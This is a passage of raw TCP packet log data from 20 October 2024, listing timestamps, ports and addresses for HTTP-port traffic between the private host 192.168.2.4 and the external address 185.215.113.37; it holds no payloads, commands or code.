Oct 20, 2024 06:40:06.462061882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462199926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462210894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462220907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462232113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462243080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462250948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462254047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462264061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462274075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462282896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462284088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462301016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462305069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462313890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462323904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462332010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462333918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462341070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462346077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462382078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462570906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462582111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462589979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462599039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462625027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462632895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462639093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462644100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462654114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462663889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462676048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462682009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462687969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.462718964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462728977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463020086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463031054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463042021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463053942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463064909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463076115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463076115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463088989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463097095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463099957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463110924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463120937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463121891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463148117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463171005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463351011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463361025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463371038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463381052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463397026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463401079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463407040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463418007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463426113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463428974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463438988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463459015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463459015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463469028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463469982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463479996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463490963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463491917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463501930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463514090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463525057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463534117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463536024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463546038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463557005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463568926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463568926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463582039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.463588953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463612080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.463633060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464199066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464210033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464220047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464231014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464241982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464257002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464257002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464267015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464278936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464287043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464291096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464299917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464309931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464310884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464320898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464333057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464337111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464344025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464355946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464360952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464366913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464378119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464380026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464387894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464399099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464410067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464411974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464442968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464462042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464782000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464792967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464802980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464814901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464824915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464859009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464880943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464890957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464894056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464904070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464915037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464924097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464926958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464937925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464948893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464958906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464960098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.464965105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464973927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.464986086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465006113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465023994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465315104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465326071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465336084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465344906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465357065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465368986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465370893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465401888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465418100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465483904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465503931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465512991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465528011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465531111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465538979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465547085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465549946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465560913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465572119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465572119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465584993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465595961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465601921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465606928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465617895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465627909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465630054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465642929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465647936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465652943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465665102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465666056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465675116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465686083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.465698957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.465727091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466402054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466413021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466424942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466434956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466444969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466454029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466469049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466475964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466483116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466492891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466495037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466504097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466515064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466525078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466526985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466536999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466547966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466558933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466558933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466569901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466581106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466581106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466592073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466604948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466605902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466617107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466625929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466629982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466639996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466651917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466653109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466662884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466665030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466675043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466685057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.466692924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466715097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.466732979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467351913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467364073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467374086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467390060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467400074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467402935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467412949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467426062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467439890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467442989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467453957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467454910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467466116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467477083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467487097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467488050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467499018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467509031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467516899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467519999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467530966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467539072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467541933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467555046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467561007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467567921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467578888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467585087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467588902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467602968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467605114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467612982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467623949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467626095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467633963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.467644930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.467674971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468295097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468306065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468314886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468331099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468342066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468346119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468360901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468364000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468372107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468381882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468391895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468393087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468403101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468414068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468424082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468424082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468436003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468442917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468447924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468457937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468461990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468468904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468481064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468482018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468493938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468503952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468513966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468517065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468523979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468535900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468544006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468545914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468555927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468561888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468566895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.468585968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.468604088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469223976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469234943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469244003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469253063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469263077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469279051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469285011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469295979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469300032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469306946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469316959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469326019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469329119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469336033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469347000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469357967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469358921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469366074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469369888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469381094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469391108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469392061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469405890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469417095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469425917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469428062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469439983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469449997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469454050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469460011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469468117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469470978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469481945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.469502926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.469527960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.470143080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470154047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470164061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470175028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470185995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470194101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.470197916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470207930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470212936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.470218897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470230103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.470231056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470242023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470252037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470262051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.470264912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470276117 CEST	80	49730	185.215.113.37	192.168.2.4
